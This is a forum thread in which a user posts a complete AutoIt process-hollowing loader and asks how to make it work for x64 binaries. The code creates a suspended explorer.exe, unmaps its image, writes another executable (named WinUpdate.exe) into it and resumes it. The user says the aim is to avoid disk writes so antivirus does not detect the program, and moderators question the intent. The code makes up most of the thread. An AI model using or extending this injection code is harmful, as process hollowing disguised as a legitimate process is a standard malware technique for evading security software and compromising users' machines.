LionSpain Posted October 2, 2018 Share Posted October 2, 2018 I need help executing my file compile x64 in memory, this is my code: expandcollapse popup#Region ;**** Directives created by AutoIt3Wrapper_GUI **** #AutoIt3Wrapper_UseX64=n #AutoIt3Wrapper_Res_Language=1033 #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI **** global $baseexe $baseexe = @WindowsDir&"\explorer.exe" if @OSArch = "X64" Then ;if not 32bit downlood reshacker and set it to be used $baseexe = @ScriptDir&"\FileCompile64.exe" Else $baseexe = @WindowsDir&"\explorer.exe";else use explorer. EndIf $ExeIwantMemory = @ScriptDir&"\WinUpdate.exe" _RunExeFromMemory($ExeIwantMemory,"", $baseexe) Func _RunExeFromMemory($bBinaryImage, $iCompressed = 0, $test = 0) #Region 1. PREPROCESSING PASSED Local $tInput = DllStructCreate("byte[" & BinaryLen($bBinaryImage) & "]") DllStructSetData($tInput, 1, $bBinaryImage) Local $pPointer If $iCompressed Then ; Buffer for decompressed data Local $tBuffer = DllStructCreate("byte[" & 32 * DllStructGetSize($tInput) & "]") ; oversizing it ; Decompression follows: Local $aCall = DllCall("ntdll.dll", "int", "RtlDecompressBuffer", _ "ushort", 2, _ "ptr", DllStructGetPtr($tBuffer), _ "dword", DllStructGetSize($tBuffer), _ "ptr", DllStructGetPtr($tInput), _ "dword", DllStructGetSize($tInput), _ "dword*", 0) If @error Or $aCall[0] Then ; If any troubles try original data anyway $pPointer = DllStructGetPtr($tInput) Else $pPointer = DllStructGetPtr($tBuffer) EndIf Else ; Not compressed $pPointer = DllStructGetPtr($tInput) EndIf #Region 2. CREATING NEW PROCESS ; STARTUPINFO structure (actually all that really matters is allocaed space) Local $tSTARTUPINFO = DllStructCreate("dword cbSize;" & _ "ptr Reserved;" & _ "ptr Desktop;" & _ "ptr Title;" & _ "dword X;" & _ "dword Y;" & _ "dword XSize;" & _ "dword YSize;" & _ "dword XCountChars;" & _ "dword YCountChars;" & _ "dword FillAttribute;" & _ "dword Flags;" & _ "ushort ShowWindow;" & _ "ushort Reserved2;" & _ "ptr Reserved2;" & _ "ptr hStdInput;" & _ "ptr hStdOutput;" & _ "ptr hStdError") ; This is much important. This structure will hold some very important data. Local $tPROCESS_INFORMATION = DllStructCreate("ptr Process;" & _ "ptr Thread;" & _ "dword ProcessId;" & _ "dword ThreadId") ; Create new process $aCall = DllCall("kernel32.dll", "int", "CreateProcessW", _ "wstr", $baseexe, _ ; try something else too (now only range plays, giving us a space) "ptr", 0, _ "ptr", 0, _ "ptr", 0, _ "int", 0, _ "dword", 4, _ ; CREATE_SUSPENDED ; <- this is essential "ptr", 0, _ "ptr", 0, _ "ptr", DllStructGetPtr($tSTARTUPINFO), _ "ptr", DllStructGetPtr($tPROCESS_INFORMATION)) If @error Or Not $aCall[0] Then Return SetError(2, 0, 0) ; CreateProcess function or call to it failed EndIf ; New process and thread handles: Local $hProcess = DllStructGetData($tPROCESS_INFORMATION, "Process") Local $hThread = DllStructGetData($tPROCESS_INFORMATION, "Thread") #Region 3. FILL CONTEXT STRUCTURE ; CONTEXT structure is what's really important here. It's very 'misterious' Local $tCONTEXT = DllStructCreate("dword ContextFlags;" & _ "dword Dr0;" & _ "dword Dr1;" & _ "dword Dr2;" & _ "dword Dr3;" & _ "dword Dr6;" & _ "dword Dr7;" & _ "dword ControlWord;" & _ "dword StatusWord;" & _ "dword TagWord;" & _ "dword ErrorOffset;" & _ "dword ErrorSelector;" & _ "dword DataOffset;" & _ "dword DataSelector;" & _ "byte RegisterArea[80];" & _ "dword Cr0NpxState;" & _ "dword SegGs;" & _ "dword SegFs;" & _ "dword SegEs;" & _ "dword SegDs;" & _ "dword Edi;" & _ "dword Esi;" & _ "dword Ebx;" & _ ; this is pointer to another structure whose third element will be altered "dword Edx;" & _ "dword Ecx;" & _ "dword Eax;" & _ ; another manipulation point (will set address of entry point here) "dword Ebp;" & _ "dword Eip;" & _ "dword SegCs;" & _ "dword EFlags;" & _ "dword Esp;" & _ "dword SegS") DllStructSetData($tCONTEXT, "ContextFlags", 0x10002) ; CONTEXT_INTEGER ; Fill tCONTEXT structure: $aCall = DllCall("kernel32.dll", "int", "GetThreadContext", _ "ptr", $hThread, _ "ptr", DllStructGetPtr($tCONTEXT)) If @error Or Not $aCall[0] Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(3, 0, 0) ; GetThreadContext function or call to it failed EndIf #Region 4. READ PE-FORMAT ; Start processing passed binary data. 'Reading' PE format follows. Local $tIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];" & _ "ushort BytesOnLastPage;" & _ "ushort Pages;" & _ "ushort Relocations;" & _ "ushort SizeofHeader;" & _ "ushort MinimumExtra;" & _ "ushort MaximumExtra;" & _ "ushort SS;" & _ "ushort SP;" & _ "ushort Checksum;" & _ "ushort IP;" & _ "ushort CS;" & _ "ushort Relocation;" & _ "ushort Overlay;" & _ "char Reserved[8];" & _ "ushort OEMIdentifier;" & _ "ushort OEMInformation;" & _ "char Reserved2[20];" & _ "dword AddressOfNewExeHeader", _ $pPointer) ; Move pointer $pPointer += DllStructGetData($tIMAGE_DOS_HEADER, "AddressOfNewExeHeader") ; move to PE file header Local $sMagic = DllStructGetData($tIMAGE_DOS_HEADER, "Magic") ; Check if it's valid format If Not ($sMagic == "MZ") Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(4, 0, 0) ; MS-DOS header missing. Btw 'MZ' are the initials of Mark Zbikowski in case you didn't know. EndIf Local $tIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $pPointer) ; Move pointer $pPointer += 4 ; size of $tIMAGE_NT_SIGNATURE structure ; Check signature If DllStructGetData($tIMAGE_NT_SIGNATURE, "Signature") <> 17744 Then ; IMAGE_NT_SIGNATURE DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(5, 0, 0) ; wrong signature. For PE image should be "PE\0\0" or 17744 dword. EndIf Local $tIMAGE_FILE_HEADER = DllStructCreate("ushort Machine;" & _ "ushort NumberOfSections;" & _ "dword TimeDateStamp;" & _ "dword PointerToSymbolTable;" & _ "dword NumberOfSymbols;" & _ "ushort SizeOfOptionalHeader;" & _ "ushort Characteristics", _ $pPointer) ; Get number of sections Local $iNumberOfSections = DllStructGetData($tIMAGE_FILE_HEADER, "NumberOfSections") ; Move pointer $pPointer += 20 ; size of $tIMAGE_FILE_HEADER structure Local $tIMAGE_OPTIONAL_HEADER = DllStructCreate("ushort Magic;" & _ "ubyte MajorLinkerVersion;" & _ "ubyte MinorLinkerVersion;" & _ "dword SizeOfCode;" & _ "dword SizeOfInitializedData;" & _ "dword SizeOfUninitializedData;" & _ "dword AddressOfEntryPoint;" & _ "dword BaseOfCode;" & _ "dword BaseOfData;" & _ "dword ImageBase;" & _ "dword SectionAlignment;" & _ "dword FileAlignment;" & _ "ushort MajorOperatingSystemVersion;" & _ "ushort MinorOperatingSystemVersion;" & _ "ushort MajorImageVersion;" & _ "ushort MinorImageVersion;" & _ "ushort MajorSubsystemVersion;" & _ "ushort MinorSubsystemVersion;" & _ "dword Win32VersionValue;" & _ "dword SizeOfImage;" & _ "dword SizeOfHeaders;" & _ "dword CheckSum;" & _ "ushort Subsystem;" & _ "ushort DllCharacteristics;" & _ "dword SizeOfStackReserve;" & _ "dword SizeOfStackCommit;" & _ "dword SizeOfHeapReserve;" & _ "dword SizeOfHeapCommit;" & _ "dword LoaderFlags;" & _ "dword NumberOfRvaAndSizes", _ $pPointer) ; Move pointer $pPointer += 96 ; size of $tIMAGE_OPTIONAL_HEADER Local $iMagic = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "Magic") ; Check if it's 32-bit application If $iMagic <> 267 Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(6, 0, 0) ; not 32-bit application. Structures (and sizes) are for 32-bit apps. EndIf If $test = 1 and $iMagic <> 267 Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return 0 EndIf ; Extract entry point address Local $iEntryPointNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "AddressOfEntryPoint") ; if loaded binary image would start executing at this address ; Move pointer $pPointer += 128 ; size of the structures before IMAGE_SECTION_HEADER (16 of them - find PE specification if you are interested). Local $pOptionalHeaderImageBaseNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "ImageBase") ; address of the first byte of the image when it's loaded in memory Local $iOptionalHeaderSizeOfImageNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "SizeOfImage") ; the size of the image including all headers #Region 5. GET AND THEN CHANGE BASE ADDRESS ; Read base address Local $tPEB = DllStructCreate("byte InheritedAddressSpace;" & _ "byte ReadImageFileExecOptions;" & _ "byte BeingDebugged;" & _ "byte Spare;" & _ "ptr Mutant;" & _ "ptr ImageBaseAddress;" & _ "ptr LoaderData;" & _ "ptr ProcessParameters;" & _ "ptr SubSystemData;" & _ "ptr ProcessHeap;" & _ "ptr FastPebLock;" & _ "ptr FastPebLockRoutine;" & _ "ptr FastPebUnlockRoutine;" & _ "dword EnvironmentUpdateCount;" & _ "ptr KernelCallbackTable;" & _ "ptr EventLogSection;" & _ "ptr EventLog;" & _ "ptr FreeList;" & _ "dword TlsExpansionCounter;" & _ "ptr TlsBitmap;" & _ "dword TlsBitmapBits[2];" & _ "ptr ReadOnlySharedMemoryBase;" & _ "ptr ReadOnlySharedMemoryHeap;" & _ "ptr ReadOnlyStaticServerData;" & _ "ptr AnsiCodePageData;" & _ "ptr OemCodePageData;" & _ "ptr UnicodeCaseTableData;" & _ "dword NumberOfProcessors;" & _ "dword NtGlobalFlag;" & _ "ubyte Spare2[4];" & _ "int64 CriticalSectionTimeout;" & _ "dword HeapSegmentReserve;" & _ "dword HeapSegmentCommit;" & _ "dword HeapDeCommitTotalFreeThreshold;" & _ "dword HeapDeCommitFreeBlockThreshold;" & _ "dword NumberOfHeaps;" & _ "dword MaximumNumberOfHeaps;" & _ "ptr ProcessHeaps;" & _ "ptr GdiSharedHandleTable;" & _ "ptr ProcessStarterHelper;" & _ "ptr GdiDCAttributeList;" & _ "ptr LoaderLock;" & _ "dword OSMajorVersion;" & _ "dword OSMinorVersion;" & _ "dword OSBuildNumber;" & _ "dword OSPlatformId;" & _ "dword ImageSubSystem;" & _ "dword ImageSubSystemMajorVersion;" & _ "dword ImageSubSystemMinorVersion;" & _ "dword GdiHandleBuffer[34];" & _ "dword PostProcessInitRoutine;" & _ "dword TlsExpansionBitmap;" & _ "ubyte TlsExpansionBitmapBits[128];" & _ "dword SessionId") $aCall = DllCall("kernel32.dll", "int", "ReadProcessMemory", _ "ptr", $hProcess, _ "ptr", DllStructGetData($tCONTEXT, "Ebx"), _ "ptr", DllStructGetPtr($tPEB), _ "dword", DllStructGetSize($tPEB), _ "dword*", 0) If @error Or Not $aCall[0] Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(7, 0, 0) ; ReadProcessMemory function or call to it failed while filling PEB structure EndIf Local $hBaseAddress = DllStructGetData($tPEB, "ImageBaseAddress") ; Short version of the above #cs $aCall = DllCall("kernel32.dll", "int", "ReadProcessMemory", _ "ptr", $hProcess, _ "ptr", DllStructGetData($tCONTEXT, "Ebx") + 8, _ "ptr*", 0, _ "dword", 4, _ "dword*", 0) If @error Or Not $aCall[0] Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(7, 0, 0) ; ReadProcessMemory function or call to it failed while reading base address of the process EndIf Local $hBaseAddress = $aCall[3] #ce ; Write new base address $aCall = DllCall("kernel32.dll", "int", "WriteProcessMemory", _ "ptr", $hProcess, _ "ptr", DllStructGetData($tCONTEXT, "Ebx") + 8, _ "ptr*", $pOptionalHeaderImageBaseNEW, _ "dword", 4, _ "dword*", 0) If @error Or Not $aCall[0] Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(8, 0, 0) ; WriteProcessMemory function or call to it failed while writting new base address EndIf #Region 6. CLEAR EVERYTHING THAT THIS NEW PROCESS HAVE MAPPED ; Clear old data. $aCall = DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", _ "ptr", $hProcess, _ "ptr", $hBaseAddress) If @error Or $aCall[0] Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(9, 0, 0) ; NtUnmapViewOfSection function or call to it failed EndIf #Region 7. ALLOCATE 'NEW' MEMORY SPACE ; Allocate proper size of memory at the proper place. $aCall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", _ "ptr", $hProcess, _ "ptr", $pOptionalHeaderImageBaseNEW, _ "dword", $iOptionalHeaderSizeOfImageNEW, _ "dword", 12288, _ ; MEM_COMMIT|MEM_RESERVE "dword", 64) ; PAGE_EXECUTE_READWRITE If @error Or Not $aCall[0] Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(10, 0, 0) ; VirtualAllocEx function or call to it failed EndIf Local $pRemoteCode = $aCall[0] ; from now on this is zero-point #Region 8. GET AND WRITE NEW PE-HEADERS Local $pHEADERS_NEW = DllStructGetPtr($tIMAGE_DOS_HEADER) ; starting address of binary image headers Local $iOptionalHeaderSizeOfHeadersNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "SizeOfHeaders") ; the size of the MS-DOS stub, the PE header, and the section headers ; Write NEW headers $aCall = DllCall("kernel32.dll", "int", "WriteProcessMemory", _ "ptr", $hProcess, _ "ptr", $pRemoteCode, _ "ptr", $pHEADERS_NEW, _ "dword", $iOptionalHeaderSizeOfHeadersNEW, _ "dword*", 0) If @error Or Not $aCall[0] Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(11, 0, 0) ; WriteProcessMemory function or call to it while writting new PE headers failed EndIf #Region 9. WRITE SECTIONS ; Dealing with sections. Will write them too as they hold all needed data that PE loader reads Local $tIMAGE_SECTION_HEADER Local $iSizeOfRawData, $pPointerToRawData Local $iVirtualAddress For $i = 1 To $iNumberOfSections $tIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];" & _ "dword UnionOfVirtualSizeAndPhysicalAddress;" & _ "dword VirtualAddress;" & _ "dword SizeOfRawData;" & _ "dword PointerToRawData;" & _ "dword PointerToRelocations;" & _ "dword PointerToLinenumbers;" & _ "ushort NumberOfRelocations;" & _ "ushort NumberOfLinenumbers;" & _ "dword Characteristics", _ $pPointer) $iSizeOfRawData = DllStructGetData($tIMAGE_SECTION_HEADER, "SizeOfRawData") $pPointerToRawData = DllStructGetPtr($tIMAGE_DOS_HEADER) + DllStructGetData($tIMAGE_SECTION_HEADER, "PointerToRawData") $iVirtualAddress = DllStructGetData($tIMAGE_SECTION_HEADER, "VirtualAddress") ; If there is data to write, write it where is should be written If $iSizeOfRawData Then $aCall = DllCall("kernel32.dll", "int", "WriteProcessMemory", _ "ptr", $hProcess, _ "ptr", $pRemoteCode + $iVirtualAddress, _ "ptr", $pPointerToRawData, _ "dword", $iSizeOfRawData, _ "dword*", 0) If @error Or Not $aCall[0] Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(12, $i, 0) ; WriteProcessMemory function or call to it while writting new sections failed EndIf EndIf ; Move pointer $pPointer += 40 ; size of $tIMAGE_SECTION_HEADER structure Next #Region 10. NEW ENTRY POINT ; Entry point manipulation DllStructSetData($tCONTEXT, "Eax", $pRemoteCode + $iEntryPointNEW) ; $iEntryPointNEW was relative address #Region 11. SET NEW CONTEXT ; New context: $aCall = DllCall("kernel32.dll", "int", "SetThreadContext", _ "ptr", $hThread, _ "ptr", DllStructGetPtr($tCONTEXT)) If @error Or Not $aCall[0] Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(13, 0, 0) ; SetThreadContext function or call to it failed EndIf #Region 12. RESUME THREAD ; And that's it!. Continue execution $aCall = DllCall("kernel32.dll", "int", "ResumeThread", "ptr", $hThread) If @error Or $aCall[0] = -1 Then DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0) Return SetError(14, 0, 0) ; ResumeThread function or call to it failed EndIf #Region 13. RETURN SUCCESS ; All went well. Return, for example, new PID: Return DllStructGetData($tPROCESS_INFORMATION, "ProcessId") EndFunc Link to comment Share on other sites More sharing options...
LionSpain Posted October 2, 2018 Author Share Posted October 2, 2018 My file no execute with  this code Link to comment Share on other sites More sharing options...
Danp2 Posted October 2, 2018 Share Posted October 2, 2018 Perhaps you could explain why you are attempting to do this? What's wrong with just using the Run command? Latest Webdriver UDF Release Webdriver Wiki FAQs Link to comment Share on other sites More sharing options...
Earthshine Posted October 2, 2018 Share Posted October 2, 2018 exes run in memory already. lol, yes, use the run command and be done with it. My resources are limited. You must ask the right questions  Link to comment Share on other sites More sharing options...
Moderators JLogan3o13 Posted October 2, 2018 Moderators Share Posted October 2, 2018 @LionSpain Color me curious as well, please let us know what exactly you are trying to accomplish. ----This is a Mod in a thread, in case you missed it---- TheSaint 1 "Profanity is the last vestige of the feeble mind. For the man who cannot express himself forcibly through intellect must do so through shock and awe" - Spencer W. Kimball How to get your question answered on this forum! Link to comment Share on other sites More sharing options...
LionSpain Posted October 3, 2018 Author Share Posted October 3, 2018 12 hours ago, JLogan3o13 said: @LionSpain Color me curious as well, please let us know what exactly you are trying to accomplish. ----This is a Mod in a thread, in case you missed it---- @JLogan3o13 Im trying executing in memory my executable, but just worked compiled file x86, when i change executable for x64 no work Link to comment Share on other sites More sharing options...
Developers Jos Posted October 3, 2018 Developers Share Posted October 3, 2018 4 minutes ago, LionSpain said: @JLogan3o13 Im trying executing in memory my executable, but just worked compiled file x86, when i change executable for x64 no work This still does not explain what you are really doing and why you are doing it this way as this is not a common way of running a program. So please explain what it is you are doing here. Jos SciTE4AutoIt3 Full installer Download page  - Beta files    Read before posting   How to post scriptsource   Forum etiquette Forum Rules  Live for the present, Dream of the future, Learn from the past. Link to comment Share on other sites More sharing options...
LionSpain Posted October 3, 2018 Author Share Posted October 3, 2018 7 minutes ago, Jos said: This still does not explain what you are really doing and why you are doing it this way as this is not a common way of running a program. So please explain what it is you are doing here. Jos What I try to explain is this: I want to run my program compiled in x64 directly in memory, so that it does not drop on the HDD. I managed to do it in x86, but in x64 it does not execute me. I found the code in the forum but it takes a long time without reviving the post, so I opened another with my question. I just want to run the x64 program directly in RAM  Sorry I used Google Translate Link to comment Share on other sites More sharing options...
Moderators Melba23 Posted October 3, 2018 Moderators Share Posted October 3, 2018 LionSpain, Quote I want to run my program compiled in x64 directly in memory, so that it does not drop on the HDD And just why do you not want your executable to be written to the disc? ¿Y por qué no desea que su ejecutable se escriba en el disco? M23  Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind Open spoiler to see my UDFs: Spoiler ArrayMultiColSort ---- Sort arrays on multiple columnsChooseFileFolder ---- Single and multiple selections from specified path treeview listingDate_Time_Convert -- Easily convert date/time formats, including the language usedExtMsgBox --------- A highly customisable replacement for MsgBoxGUIExtender -------- Extend and retract multiple sections within a GUIGUIFrame ---------- Subdivide GUIs into many adjustable framesGUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView itemsGUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeViewMarquee ----------- Scrolling tickertape GUIsNoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxesNotify ------------- Small notifications on the edge of the displayScrollbars ----------Automatically sized scrollbars with a single commandStringSize ---------- Automatically size controls to fit textToast -------------- Small GUIs which pop out of the notification area  Link to comment Share on other sites More sharing options...
Developers Jos Posted October 3, 2018 Developers Share Posted October 3, 2018 Not sure what you were thinking when typing this answer, but I fully understood that part already, but you did not answer my basic simply question. so: reread my previous post and please give me a clear answer or else I am going to lock this thread assuming it is malicious intent. Clear enough for you this time? Also please skip the text formatting and use that standard font. Jos SciTE4AutoIt3 Full installer Download page  - Beta files    Read before posting   How to post scriptsource   Forum etiquette Forum Rules  Live for the present, Dream of the future, Learn from the past. Link to comment Share on other sites More sharing options...
LionSpain Posted October 3, 2018 Author Share Posted October 3, 2018 (edited) 22 minutes ago, Melba23 said: LionSpain, And just why do you not want your executable to be written to the disc? ¿Y por qué no desea que su ejecutable se escriba en el disco? M23 Porque asi se ejecuta todo lo que necesito dentro del mismo ejecutable, y porque cuando haces dropp al disco duro los antivirus detectan sin motivo alguno. Y nadie va a usar un programa que detecte un antivirus. Aparte quiero aprender Autoit ya que es un lenguaje basado en script que me interesa mucho Added translation: Because this way everything is executed that I need within the same executable, and because when you do dropp to the hard disk the antivirus detect without reason some. And nobody is going to use a program that detects an antivirus. Apart I want to learn Autoit since it is a script based language that interests me a lot Edited October 3, 2018 by Melba23 Added translation Link to comment Share on other sites More sharing options...
Moderators Melba23 Posted October 3, 2018 Moderators Share Posted October 3, 2018 LionSpain, If you wish to post in Spanish, please add an English translation as I have now done above - not everyone here is multi-lingual. Not all AVs detect AutoIt executables as infected- and if you use a HIPS, I would expect that executing your code from memory will flag up as a problem too. So you need to tell your particular AV provider that their product is producing a false positive - that way you resolve the problem completely. M23  Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind Open spoiler to see my UDFs: Spoiler ArrayMultiColSort ---- Sort arrays on multiple columnsChooseFileFolder ---- Single and multiple selections from specified path treeview listingDate_Time_Convert -- Easily convert date/time formats, including the language usedExtMsgBox --------- A highly customisable replacement for MsgBoxGUIExtender -------- Extend and retract multiple sections within a GUIGUIFrame ---------- Subdivide GUIs into many adjustable framesGUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView itemsGUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeViewMarquee ----------- Scrolling tickertape GUIsNoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxesNotify ------------- Small notifications on the edge of the displayScrollbars ----------Automatically sized scrollbars with a single commandStringSize ---------- Automatically size controls to fit textToast -------------- Small GUIs which pop out of the notification area  Link to comment Share on other sites More sharing options...
Skeletor Posted October 3, 2018 Share Posted October 3, 2018 This topic is interesting... I would like to see the outcome... especially now knowing the Mods are bilingual... maybe I can speak Zulu in my next topic! Siyaxolisa ngoba siphelelwe yisihlokoTranslation: Sorry was off topic... Kind RegardsSkeletor "Coffee: my defense against going postal." Microsoft Office Splash Screen | Basic Notepad Program (Beginner) | Transparent Splash Screen | Full Screen UI Link to comment Share on other sites More sharing options...
Moderators Melba23 Posted October 3, 2018 Moderators Share Posted October 3, 2018 Skeletor, Which part of Quote ----This is a Mod in a thread, in case you missed it---- is not clear? Please read this announcement and consider yourself lucky that you can still post - and that is only because your post was completely off-topic. M23 Skeletor 1  Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind Open spoiler to see my UDFs: Spoiler ArrayMultiColSort ---- Sort arrays on multiple columnsChooseFileFolder ---- Single and multiple selections from specified path treeview listingDate_Time_Convert -- Easily convert date/time formats, including the language usedExtMsgBox --------- A highly customisable replacement for MsgBoxGUIExtender -------- Extend and retract multiple sections within a GUIGUIFrame ---------- Subdivide GUIs into many adjustable framesGUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView itemsGUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeViewMarquee ----------- Scrolling tickertape GUIsNoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxesNotify ------------- Small notifications on the edge of the displayScrollbars ----------Automatically sized scrollbars with a single commandStringSize ---------- Automatically size controls to fit textToast -------------- Small GUIs which pop out of the notification area  Link to comment Share on other sites More sharing options...
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